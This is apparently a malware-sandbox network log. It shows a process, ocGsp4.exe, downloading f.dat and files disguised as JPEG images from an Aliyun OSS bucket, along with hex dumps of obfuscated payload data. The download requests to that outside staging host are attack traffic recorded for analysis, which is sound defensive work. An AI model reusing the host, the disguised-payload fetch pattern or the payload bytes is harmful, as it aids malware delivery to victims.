2025-01-16 02:54:49 UTC	4096	IN	Data Raw: 72 b8 f8 65 fd f3 08 c8 16 67 54 0d cf 0b 6c 41 02 c8 a0 55 06 c4 14 75 72 5c ea 55 d3 97 57 dd f2 5b 5c 5d 16 d4 24 45 4a 6c da 65 e3 a7 67 ed f2 6b 6c 6d 26 e4 34 55 52 7c ca 75 f5 8f 39 05 67 33 f7 39 5a 5f 8f 3f 82 00 7c df f9 97 c0 02 ce af ac 82 30 8f 13 59 b2 1a 90 b1 7d 9c d0 12 de bf bc 92 20 9f 29 a5 86 eb 2f e1 82 8f a7 17 aa 28 54 ec d2 b1 f8 3a f6 97 9c ba 08 b7 3b 41 e0 c4 ad f5 35 fb e4 e9 cd 7d c4 46 0e e7 41 8d ee cf 27 c1 86 44 94 f5 fa dc 6a d5 5f 93 fc dd d5 6d d8 f9 d1 69 ac c5 e6 d8 25 90 f9 af 63 ad ce cb a4 12 2e a7 79 b5 d6 d3 bc 7e b2 d3 d0 b1 05 3b b4 74 ba db 28 e8 4a fc fb fa 4e 8c 4c 2d 2a 04 b2 0d 8d f7 51 6d 0c 5b 9f 51 32 37 17 a7 1a 98 e4 47 61 0e 68 aa 66 07 04 2a 98 27 ab e1 0a a2 68 09 26 c4 3c 79 b9 77 10 15 39 89 38 Data Ascii: regTlAUur\UW[\]$EJlegklm&4UR\|u9g39Z_?\|0Y} )/(T:;A5}FA'Dj_mi%c.y~;t(JNL-Qm[Q27Gahf'h&<yw98
2025-01-16 02:54:49 UTC	4096	IN	Data Raw: 8a 3b 3c 3d ae 77 c1 85 4a 42 44 45 85 8b 84 85 86 87 80 81 82 83 18 d0 be db 56 55 56 91 1c 7d 2a 68 9a 19 7a 2e 56 a7 26 47 16 55 a0 23 4c 1a 1e ad 28 49 1a 1d b6 35 56 06 15 b3 32 53 0e 00 bc 3f 58 0a 50 b9 c4 a5 fa e6 42 c1 a2 fe f0 4f ce af f6 e8 48 cb b4 ea 92 55 d0 b1 d6 a4 5e dd be da aa 5b da bb e2 91 64 e7 80 e6 d5 61 ec 8d ee cf 6a e9 8a ea 9e 77 f6 97 f2 d0 70 f3 9c fe c2 7d f8 99 f6 da 06 85 e6 8a c4 03 42 e3 48 c9 ca cb ff 0b 4a eb 51 d1 d2 d3 e2 13 52 f3 5a d9 da db ec 1b 5a fb 63 e1 e2 e3 97 23 62 c3 6c e9 ea eb 8d 2b 6a cb 75 f1 f2 f3 92 33 72 d3 7e f9 fa fb 99 3b 7a db 87 01 02 03 2a c3 82 23 80 09 0a 0b 69 cb 8a 2b 99 11 12 13 6c d3 92 33 92 19 1a 1b 79 db 9a 3b ab 21 22 23 24 e3 62 03 08 42 ec 6f 08 0c 4b e9 74 15 10 41 f2 71 12 14 56 Data Ascii: ;<=wJBDEVUV}hz.V&GU#L(I5V2S?XPBOHU^[dajwp}BHJQRZZc#bl+ju3r~;z#i+l3y;!"#$bBoKtAqV
2025-01-16 02:54:49 UTC	4096	IN	Data Raw: 3e 1f 74 b6 72 1b 60 09 41 8b 0c ce 87 0f c3 45 6e 03 c7 19 6a 67 18 52 83 1b df 9f 59 e1 51 d1 52 b0 f0 15 d5 5b 44 29 e9 2f 40 45 2e 64 a0 21 e1 aa aa 6d 6e 27 fb 35 56 53 3c f6 b2 6f bb b5 b6 b7 b0 b1 b2 b3 c8 08 d6 a7 94 cd 0f cb ac 81 c2 08 60 95 c6 04 d4 b5 b2 db 1d 91 b2 df 13 dd be b3 d4 14 da bb a8 e9 29 a7 80 aa 18 a7 2d 69 de a6 e4 26 aa 8b f8 4e 72 fb 3d b1 92 5c 50 f1 31 bf 98 f5 35 f3 e4 c9 cd 75 cd 4d ce 8f 43 cd ee 83 33 0d 86 46 d4 f5 9a 58 90 f1 de 9f 27 19 92 52 98 f9 d6 97 6b a5 c6 eb eb 5b e6 62 28 9c 24 a3 67 e9 ca 29 f0 f1 ba 78 b0 d1 d6 bf 7b 3d e2 38 30 31 32 33 44 88 46 27 1c 4d 8f 53 2c 19 42 82 40 29 06 47 93 fd 3a 5b 9f 51 32 2f 50 90 5e 3f 0c 55 95 5b 04 11 6a aa 60 01 2e ac 6c 0d 6a a2 28 09 a5 6b 14 71 cd fb bd 71 12 77 bb Data Ascii: >tr`AEnjgRYQR[D)/@E.d!mn'5VS<o`)-i&Nr=\P15uMC3FX'Rk[b($g)x{=80123DF'MS,B@)G:[Q2/P^?U[j`.lj(kqqw
2025-01-16 02:54:49 UTC	4096	IN	Data Raw: 1e 63 74 b0 aa 1b c8 41 42 43 0c c8 4b e2 8d b6 b5 a3 1c 82 b1 b0 18 d8 16 77 34 1d 91 13 7c 69 5a 5b 5c 5d 99 1b 44 49 e2 63 64 65 a1 23 4c 49 68 6b 6c 6d 2b 5c b9 34 41 b3 ce 75 76 77 38 31 f1 f7 58 cd 7e 7f 80 7e d6 a7 d4 cd 0f c3 ac c1 c2 08 f0 a9 c6 70 e4 a0 da 54 d0 b1 b6 97 98 99 9a d7 11 d1 ba df e4 2a 26 87 64 a5 a6 a7 e0 22 3e 8f 14 ad ae af f8 3a fe 97 fc 4a e2 93 e0 f1 31 f7 98 f5 41 eb e4 a1 52 8b 45 01 6e c7 c8 c9 09 07 00 01 02 03 98 58 9e f7 dc 9d 55 3b f0 91 51 9f f8 ed 96 56 a4 c5 f2 ab 23 e1 c2 18 17 16 15 a3 13 e9 ca a7 7b b5 d6 e3 bc 7e fa d3 78 c5 f2 fb 89 10 b6 74 04 25 4a 8a 40 21 0e 4f 8b 75 2e 03 0c 78 0c e4 3d 59 99 57 30 1d 5e 9c 54 3d 2a 53 1f d5 56 94 e1 2e 9c 63 db a6 de 7b 5d 3d 62 a0 68 09 26 67 bb 7d 16 03 7c 36 fe 7f b3 Data Ascii: ctABCKw4\|iZ[\]DIcde#LIhklm+\4Auvw81X~~pT&d">:J1AREnXU;QV#{~xt%J@!Ou.x=YW0^T=SV.c{]=bh&g}\|6
2025-01-16 02:54:49 UTC	4096	IN	Data Raw: 1e 03 74 be fe 27 01 f9 46 43 44 45 0e cc 98 01 c7 c7 68 a5 4e 4f 50 b9 f8 b3 ab aa 1e dc 1c 7d 62 13 df 9d 42 1e d8 69 62 63 64 2d ed b7 20 e2 e6 4f 7c 6c 6e 6f 98 fa 92 8c 8b 3d fd f3 5c 19 7b 7b 7c 35 f5 f3 a4 c9 83 83 84 cd 0f 8f c0 02 0e af ec 8c 8e 8f 1b 1d b6 77 94 95 96 1e d0 91 d2 10 18 b9 fe 9e a0 a1 ea 28 28 81 a6 a6 a8 a9 e2 22 e4 bd e6 24 34 95 d2 b2 b4 b5 3d 3b 9c 51 ba bb bc 34 f6 a7 88 4a 46 e7 a4 c4 c6 c7 80 42 46 ef dc cc ce cf 98 58 9a f3 9c 5e 52 f3 b8 d8 da db 94 5c 1a 87 e1 e1 e2 20 28 29 2a 2b 24 25 26 27 20 21 22 23 b8 78 be d7 fc bd 7d b3 dc f1 b2 70 fc b5 3f 1f 15 49 89 4f 20 0d 4e 8c 01 41 39 c3 44 86 cf 47 9b 5d 36 1b 5c 9c 17 5f 93 5d 3e 13 54 96 1e 57 e1 c9 01 6b af 69 02 2f 60 a2 23 63 1f e5 66 a4 f1 79 b9 7f 10 3d 7e be 39 Data Ascii: t'FCDEhNOP}bBibcd- O\|lno=\{{\|5w(("$4=;Q4JFBFX^R\ ()*+$%&' !"#x}p?IO NA9DG]6\_]>TWki/`#cfy=~9
2025-01-16 02:54:49 UTC	4096	IN	Data Raw: 3a 5e fa b9 1a 89 40 41 42 20 82 c1 62 f0 48 49 4a 3f 8a c9 6a f7 50 51 52 3c 92 d1 72 ee 58 59 5a 29 9a d9 7a e5 60 61 62 1a a2 e1 42 dc 68 69 6a 2a aa e9 4a d3 70 71 72 73 3c f8 e2 53 d0 79 7a 7b 34 f0 73 12 25 7e 7d 6b 9c 2a 79 78 c0 00 0e af a4 8f 8e 8f d8 1c 1e b7 c4 a7 96 97 67 0d be b3 9e 9d 9e d7 2d 2d 86 ff 91 a5 a6 4f 1c a4 aa ab e4 20 22 8b d0 87 b2 b3 5c 12 bb b7 b8 f1 37 37 98 d9 89 bf c0 29 58 ce c4 c5 8e 4a 44 ed a2 f3 cc cd 26 42 dd d1 d2 9b 59 59 f2 8b ed d9 da 33 2c d4 de df 26 65 c6 63 e4 e5 e6 a0 2e 6d ce 6a ec ed ee 8a 36 75 d6 71 f4 f5 f6 83 3e 7d de 78 fc fd fe af c6 85 26 87 04 05 06 75 ce 8d 2e 8e 0c 0d 0e 60 d6 95 36 95 14 15 16 74 de 9d 3e 9c 1c 1d 1e 7a e6 a5 06 ab 24 25 26 54 ee ad 0e a2 2c 2d 2e 5c f6 b5 16 b9 34 35 36 7f fe Data Ascii: :^@AB bHIJ?jPQR<rXYZ)z`abBhijJpqrs<Syz{4s%~}kyxg--O "\77)XJD&BYY3,&ec.mj6uq>}x&u.`6t>z$%&T,-.\456
2025-01-16 02:54:49 UTC	955	IN	Data Raw: 66 1f 34 70 0d e4 0c cc 16 67 5c 09 6d 97 05 46 08 98 29 01 c5 53 75 41 52 53 54 18 6d 84 2b 4f 3c 1a dd bf 5e af 2d ec f9 63 94 9a 99 26 ae 6a 6a 26 57 be 1b 9f 3c fa 66 57 38 fe 2a 53 70 31 f9 bf 6c be b2 b3 81 86 80 83 83 84 af 87 89 80 8b 8b 85 af 8e 8f 91 9c 93 93 99 d7 96 97 99 94 9b 9b 91 5f 9e 9f a1 ab a1 a3 ae 67 a0 d7 ad c9 aa ab ad a3 af af be 13 b2 b3 b5 bb b7 b7 b6 9b ba bb bd b1 bc bf cc c0 ff c3 c5 c2 c4 c7 cf c8 dd cb cd c4 cf cf d9 13 d2 d3 d5 d1 d7 d7 dc 3b da db dd d9 df df e4 23 e2 e3 e5 ee e4 e7 e3 e8 cb eb ed ea ec ef f7 f0 a3 f3 f5 e4 f4 f7 e9 f8 df fb fd f0 ff ff 0d 63 02 03 05 02 04 07 0f 08 21 0b 0d 09 0f 0f 14 b3 12 13 15 06 17 17 0b 3b 1a 1b 1d 0e 1f 1f 33 63 22 23 25 2b 27 27 26 6b 2a 2b 2d 23 2f 2f 3e 53 32 33 35 2d 37 37 20 Data Ascii: f4pg\mF)SuARSTm+O<^-c&jj&W<fW8Sp1l_g;#c!;3c"#%+''&k+-#//>S235-77

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	63222	118.178.60.9	443	7784	C:\Users\user\Documents\ocGsp4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 02:54:52 UTC	110	OUT	GET /f.dat HTTP/1.1 User-Agent: GetData Host: 22mm.oss-cn-hangzhou.aliyuncs.com Cache-Control: no-cache
2025-01-16 02:54:52 UTC	558	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 16 Jan 2025 02:54:52 GMT Content-Type: application/octet-stream Content-Length: 879 Connection: close x-oss-request-id: 678874FC38B0ED38318F80AA Accept-Ranges: bytes ETag: "E54C4296F011EC91D935AA353C936E34" Last-Modified: Tue, 22 Oct 2024 18:02:54 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 11142793972884948456 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: 5UxClvAR7JHZNao1PJNuNA== x-oss-server-time: 3
2025-01-16 02:54:52 UTC	879	IN	Data Raw: 0f 56 0e 57 66 34 65 31 31 31 31 31 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 Data Ascii: VWf4e111111111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW111

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	63223	118.178.60.9	443	7784	C:\Users\user\Documents\ocGsp4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 02:54:54 UTC	115	OUT	GET /FOM-50.jpg HTTP/1.1 User-Agent: GetData Host: 22mm.oss-cn-hangzhou.aliyuncs.com Cache-Control: no-cache
2025-01-16 02:54:54 UTC	546	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 16 Jan 2025 02:54:54 GMT Content-Type: image/jpeg Content-Length: 55085 Connection: close x-oss-request-id: 678874FEA96699313983A8A7 Accept-Ranges: bytes ETag: "DC44AE348E6A74B3A74871020FDFAC74" Last-Modified: Tue, 22 Oct 2024 14:47:46 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 12339968747348072397 x-oss-storage-class: Standard x-oss-ec: 0048-00000105 Content-Disposition: attachment x-oss-force-download: true Content-MD5: 3ESuNI5qdLOnSHECD9+sdA== x-oss-server-time: 4
2025-01-16 02:54:54 UTC	3550	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 90 00 90 00 00 ff e1 00 5a 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 05 03 01 00 05 00 00 00 01 00 00 00 4a 03 03 00 01 00 00 00 01 00 00 00 00 51 10 00 01 00 00 00 01 01 00 00 00 51 11 00 04 00 00 00 01 00 00 16 25 51 12 00 04 00 00 00 01 00 00 16 25 00 00 00 00 00 01 86 a0 00 00 b1 8f ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 Data Ascii: JFIFZExifMM*JQQ%Q%CC
2025-01-16 02:54:54 UTC	4096	IN	Data Raw: 7c 7b dc 41 c2 74 77 75 74 73 65 91 8f 90 91 11 ee 84 95 e3 bf 11 84 3e 34 dc 9d f4 97 48 c7 b1 a3 a4 fc 59 d2 a0 41 56 56 53 52 9d 74 f3 32 cf a3 b4 c1 be dd b0 51 f7 a8 bc bd e7 7c 28 d0 d2 c3 c4 06 4d 38 9d 42 26 a1 cc a7 ce 30 a5 d9 3a 10 2a 2a 29 54 1c d5 87 18 57 22 8b 54 0c 8b e2 89 e5 1a 93 ef 00 44 14 14 13 6e 2a e3 ad 32 98 f2 9e f5 9c f7 10 64 04 04 03 7e 3a f3 c3 6b 03 69 05 6f 06 ef 86 f7 f5 f4 8f c9 02 cc 9b ee 44 fb 09 1f 16 17 93 e9 4c f3 1d 06 1e 1f 76 c9 ae 39 24 25 70 cf c4 3a 2a 2b 7a c5 5f 35 30 31 64 db 68 2f 36 37 6e d1 7e 23 3c 3d 68 d7 be 40 42 43 12 ad 48 55 48 49 22 dc 5a 0d 4e a7 3f 58 52 53 d7 91 72 f4 54 f9 1a 5b 02 9e d5 a0 35 ea 8e 32 35 36 ed 3a 60 3f 3d 58 9a 5e 91 e6 0d 8d 49 6f 89 65 d6 37 78 0d 73 3c f5 00 82 fc 7f 96 Data Ascii: \|{Atwutse>4HYAVVSRt2Q\|(M8B&0:*)TW"TDn2d~:kioDLv9$%p:*+z_501dh/67n~#<=h@BCHUHI"ZN?XRSrT[5256:`?=X^Ioe7xs<
2025-01-16 02:54:54 UTC	4096	IN	Data Raw: 81 d9 46 b5 47 c8 2a 32 3c cc 8d d3 4c 5c f9 22 b5 d4 95 f2 68 ad 99 9a 9b 9c 16 da bb b0 28 ce 87 b4 28 ca 83 b8 82 4a f8 fa fa 0f ab 10 f1 b2 82 f1 49 85 72 e8 30 df 53 43 c8 46 34 85 3d 05 86 38 3b 39 38 37 40 8f 33 41 88 3e ab 73 d1 d2 d3 d4 16 5d 9a 28 bd 53 d6 dc dd de df b9 be bd bd bf 6e 03 ba b9 2a 26 27 20 21 22 23 3c 3d 3e 3f 38 7e 09 a2 73 15 79 17 e4 ae 75 a2 0c 57 89 70 0c 36 33 03 a8 49 0a 5c 87 0b c8 4a ef 11 d5 56 e0 14 16 17 18 94 61 0b 9f e5 e0 6b 2d aa 6c 27 27 ea 15 2b 10 c1 c9 c2 d3 d2 a5 61 3c ba 74 3b 37 fa 05 3b 00 d1 e9 d2 c3 c2 b5 7a 48 b7 02 47 22 4a c3 51 49 49 4a c0 01 5d c3 1a b8 d8 01 af df 0e 5a de 1d b1 d3 16 b0 de a5 a1 14 3e ef 2a 64 e8 62 3c e3 25 ec 7f e1 29 e8 7f f9 34 82 f8 74 fc 33 8f fd b0 0e 6f f7 aa 96 23 aa 81 Data Ascii: FG2<L\"h((JIr0SCF4=8;987@3A>s](Sn&' !"#<=>?8~syuWp63I\JVak-l''+a<t;7;zHG"JQIIJ]Z>*db<%)4t3o#
2025-01-16 02:54:54 UTC	4096	IN	Data Raw: b4 7b f0 8e 6c 82 e3 8e 63 f7 7e 71 70 c9 52 c4 f9 94 6a a3 4b 2c d9 9a 64 89 3d 1e df a0 24 62 d6 b2 4d ab 51 57 56 21 5b 53 b8 a6 2f f0 b1 e2 5b 09 40 49 48 31 bf e3 53 aa 4d 41 40 03 4a 3d 96 4f 29 4d 92 c0 9a 9c 9c ff 32 f5 18 a4 d6 59 8e d8 ee 09 a0 c6 31 03 2e 23 22 b4 c9 be 68 d2 b4 b3 b2 b1 b0 00 8b 1f 14 13 6e 2a fb 7b 37 ad ad af a8 35 7c 8d e9 c1 0c 89 fa cd 3f 66 88 00 e8 d0 8e cc 08 bf 0f 6c 82 0d 4c 4f 49 56 77 29 d4 60 16 5d 62 f6 2a da 20 c3 68 cd 79 a9 23 ca b3 d1 da d9 4d 0a 70 a3 23 a7 dc c5 9c bb ce 67 b8 d8 63 61 04 ce c6 4f 33 d4 84 23 3f 40 ca ba 1a c1 ba 33 60 71 4c 36 fd 0c 4d 38 50 06 ae 47 1f d4 15 56 da de b1 59 5b 5c 66 5b 23 d6 21 62 15 67 e6 ae 98 e3 99 e9 93 93 18 a4 e4 b7 2e 2c 2e b7 fe 89 22 f3 95 2c 2c 4f 8b 14 7f 7f f4 Data Ascii: {lc~qpRjK,d=$bMQWV![S/[@IH1SMA@J=O)M2Y1.#"hn{75\|?flLOIVw)`]b hy#Mp#gcaO3#?@3`qL6M8PGVY[\f[#!bg.,.",,O
2025-01-16 02:54:54 UTC	4096	IN	Data Raw: 82 84 85 0f ca 78 02 84 c2 05 c0 72 79 51 90 9d 16 47 97 96 97 cb 14 86 aa 17 8e 17 ca 54 2a f4 5f 2d f0 5e 2c fd 5d 23 f6 a0 5b 6c ae c5 c5 73 49 b0 ff 35 4d 87 cf b9 d1 83 e7 35 f4 c4 fa 89 cb b1 87 7d c7 c8 c9 4a 48 36 ed bd d6 5b 1b 01 38 59 99 d4 d3 2f 0a fb 87 64 99 20 d6 95 c2 69 ae ec c4 ff 0c f4 64 a0 0b 3f 06 63 a3 f2 f5 05 20 d5 69 4e 33 f8 f9 fa 05 f5 88 f8 74 4d 09 23 5a 00 8e 5b 0b 83 5a 02 80 57 09 85 42 ec 12 5f e7 9d 4f 12 9c 4d 15 91 41 18 96 4c 17 a9 72 2a aa 69 d9 ad f6 e9 d3 2e 61 af d7 11 59 33 5b 0d 69 bf 68 ce b4 db 38 b3 66 c8 32 bb b0 40 41 42 68 31 bd cd 1a b0 88 b1 4f 26 72 c7 3a 5c 1a 0c 68 8a 23 54 dc 86 5a 17 a3 d7 8c 9f a5 64 2b eb 2e 98 5e b0 11 6a e2 bc 50 b6 19 30 e4 3d 7d f9 02 70 4e 07 7f 0d 42 c4 7b 7c 7d fe fc 7b a1 Data Ascii: xryQGT_-^,]#[lsI5M5}JH6[8Y/d id?c iN3tM#Z[ZWB_OMALri.aY3[ih8f2@ABh1O&r:\h#TZd+.^jP0=}pNB{\|}{
2025-01-16 02:54:54 UTC	4096	IN	Data Raw: 96 50 05 c6 87 03 51 b1 54 f9 c1 b7 b2 40 27 d2 93 e0 a6 c0 7f 0c 42 65 64 c5 18 5e 90 25 d3 5d 5c 5b 2e e3 b7 93 6e a5 2f fc 52 51 50 77 b1 be b3 b4 b5 5f f2 47 46 45 88 43 36 cb b3 aa c5 2a 87 17 3a 39 9e 0b f2 15 be c1 46 8b df eb 16 a6 d5 13 d5 da d7 d8 d9 51 18 34 28 11 20 1f 22 88 f3 8c ad 70 a7 e8 01 49 24 13 12 65 b2 f8 74 29 86 fa 0a 83 fb 10 04 07 04 03 a4 17 33 01 01 02 88 71 09 83 f1 7d 05 59 e3 2f d2 f1 f0 49 f8 a5 12 14 15 95 2a a0 ae 5a 1b 1f 12 9b 8c 21 21 22 10 db ac 5b c3 ab d7 ca 24 ab a7 2f 2f 30 5b 36 db 99 e6 c9 c8 61 b0 47 c7 6f d5 d9 d1 bf be 1b ca 01 a5 7d 80 47 cd d4 4b 4c 4d 75 7a f0 e6 12 53 23 1c 00 04 08 b1 93 a8 a3 a2 dd 9b 6c e4 a2 17 61 ec 3b 83 83 5c 3c 83 f4 9b 91 90 29 f8 37 97 4f b2 02 50 f3 3a 86 33 47 bb 0c 7d 0b 47 Data Ascii: PQT@'Bed^%]\[.n/RQPw_GFEC6:9FQ4( "pI$et)3q}Y/IZ!!"[$//0[6aGo}GKLMuzS#la;\<)7OP:3G}G
2025-01-16 02:54:54 UTC	4096	IN	Data Raw: 8e 79 76 23 7b 77 ad 1f fb eb cd 8e 04 6f 66 4b 6c b0 18 b6 f0 d8 99 17 d2 9c 16 59 25 a3 a1 a2 a3 27 5c a2 d5 a4 2a 4a a8 87 65 51 8b 35 c5 d4 f3 b4 4a 92 3a c8 de fa bb 2c 39 d8 ff c0 69 a4 83 c4 15 a0 87 c8 43 8c c8 ef 1c 46 88 d3 52 3c d2 15 3c d4 54 37 d8 59 22 d4 af 6c 22 13 44 1e 1c c0 70 96 80 a8 e9 67 a2 ec 67 a8 ec d3 20 7a b4 f7 7f b0 f5 39 10 f8 73 bb ff 7d 11 02 82 ed 01 87 fc 0e 75 80 f4 f9 ae f0 f2 2a 9a 60 76 52 13 84 9f 50 14 3b c8 92 5c 1f 97 58 1d a8 66 20 a9 62 24 e7 ce 2a a1 6d 2a af c3 2d ac df 32 b1 ca 3c 3a b4 61 c7 c6 c5 c6 cf 98 c2 c0 64 d4 32 24 04 45 cb 0e 48 6d 2d 0b 4c 61 29 0f 50 65 35 13 54 69 31 17 58 1d 3d 1b 5c 11 39 1f 60 35 05 23 64 02 01 27 68 e2 2e e5 70 e4 2a e0 6c fa 36 fd 6c fc 32 f8 60 f2 3e f5 68 f4 3a f0 94 0a Data Ascii: yv#{wofKlY%'\JeQ5J:,9iCFR<<T7Y"l"Dpgg z9s}u`vRP;\Xf b$m-2<:ad2$EHm-La)Pe5Ti1X=\9`5#d'h.p*l6l2`>h:
2025-01-16 02:54:54 UTC	4096	IN	Data Raw: ed e5 e7 ea e2 a8 fd e5 ab e5 e3 e7 fb f9 f0 fe fa ee f0 b6 ff fd f8 ea 96 96 9d 9e 9f a0 f3 94 93 96 92 ab ad 85 89 c4 c4 d8 8d cb c1 df c4 d5 db 94 c6 c6 d6 db dc 9a dd d3 cf 9e d3 af b6 ab ac e4 ac a8 ae bc a0 ab a7 a5 b7 af bb b9 be bc de de d5 d6 d7 d8 8b ec eb ee eb d3 d5 cd c1 8c 8c 90 c5 83 89 87 9c 8d 83 cc 9e 9e 8e 93 94 d2 95 9b 87 d6 84 8c 9d 93 94 dc 94 90 96 74 68 63 6f 6d 7f 67 73 61 66 64 06 06 0d 0e 0f 10 43 24 23 26 20 1b 1d 35 39 6a 6e 6e 78 3e 69 49 53 56 56 45 49 06 41 5d 47 49 5f 45 42 40 0f 53 50 5e 5f 39 3f 36 37 38 6b 0c 0b 0e 09 33 35 6d 61 2c 2c 30 65 23 29 27 3c 2d 23 6c 3e 3e 2e 33 34 72 35 3b 27 76 08 37 37 3f 23 35 29 71 3e 14 04 1a 0a 10 45 12 06 0a 05 0f 66 66 6d 6e 6f 70 23 44 43 45 4c 7b 7d 55 59 0f 15 1d 1f 12 1a a0 f5 Data Ascii: thcomgsafdC$#& 59jnnx>iISVVEIA]GI_EB@SP^_9?678k35ma,,0e#)'<-#l>>.34r5;'v77?#5)q>Effmnop#DCEL{}UY
2025-01-16 02:54:54 UTC	4096	IN	Data Raw: 83 84 09 79 78 77 89 8a 8b 8c 73 71 70 6f 8a b2 d3 94 8a b6 d7 98 99 9a 9b 9c 63 61 60 5f a1 a2 a3 a4 71 59 58 57 a9 aa ab ac 53 51 50 4f b1 b2 b3 b4 01 94 f7 b8 47 45 44 43 bd be bf c0 02 e0 83 c4 3b 39 38 37 c9 ca cb cc 15 31 30 2f d1 d2 d3 d4 2b 29 28 27 d9 da db dc ab fa 9f e0 1f 1d 1c 1b e5 e6 e7 e8 6b ce ab ec 13 11 10 0f f1 f2 f3 f4 2d 09 08 07 f9 fa fb fc 03 01 00 ff fb 2a 43 04 fb 2e 47 08 09 0a 0b 0c f3 f1 f0 ef 11 12 13 14 c1 e9 e8 e7 19 1a 1b 1c e3 e1 e0 df 21 22 23 24 b2 0c 67 28 29 2a 2b 2c d3 d1 d0 cf 31 32 33 34 e1 c9 c8 c7 39 3a 3b 3c c3 c1 c0 bf 41 42 43 44 e3 6b 07 48 49 4a 4b 4c b3 b1 b0 af 51 52 53 54 8d a9 a8 a7 59 5a 5b 5c a3 a1 a0 9f 6a 4d 23 64 7a 49 27 68 69 6a 6b 6c 93 91 90 8f 71 72 73 74 b5 89 88 87 79 7a 7b 7c 83 81 80 7f 81 Data Ascii: yxwsqpoca`_qYXWSQPOGEDC;98710/+)('k-C.G!"#$g()+,12349:;<ABCDkHIJKLQRSTYZ[\jM#dzI'hijklqrstyz{\|
2025-01-16 02:54:54 UTC	4096	IN	Data Raw: ea ee ee ea ea e6 e6 fa fa fe fe fa fa e6 e6 ea ea ee 95 96 97 98 99 9a da de de da da e6 e6 ea ea ee ee ea ea e6 e6 fa fa fe fe fa fa e6 e6 ea ea ee b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 6f 90 91 Data Ascii: !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{\|}~o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	63224	118.178.60.9	443	7784	C:\Users\user\Documents\ocGsp4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 02:54:56 UTC	115	OUT	GET /FOM-51.jpg HTTP/1.1 User-Agent: GetData Host: 22mm.oss-cn-hangzhou.aliyuncs.com Cache-Control: no-cache
2025-01-16 02:54:56 UTC	548	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 16 Jan 2025 02:54:56 GMT Content-Type: image/jpeg Content-Length: 4859125 Connection: close x-oss-request-id: 67887500E20C8C3534D51942 Accept-Ranges: bytes ETag: "EE6CA3EEA7F9B1C81059AEF570A28C02" Last-Modified: Tue, 22 Oct 2024 14:48:26 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 9060732723227198118 x-oss-storage-class: Standard x-oss-ec: 0048-00000105 Content-Disposition: attachment x-oss-force-download: true Content-MD5: 7myj7qf5scgQWa71cKKMAg== x-oss-server-time: 17
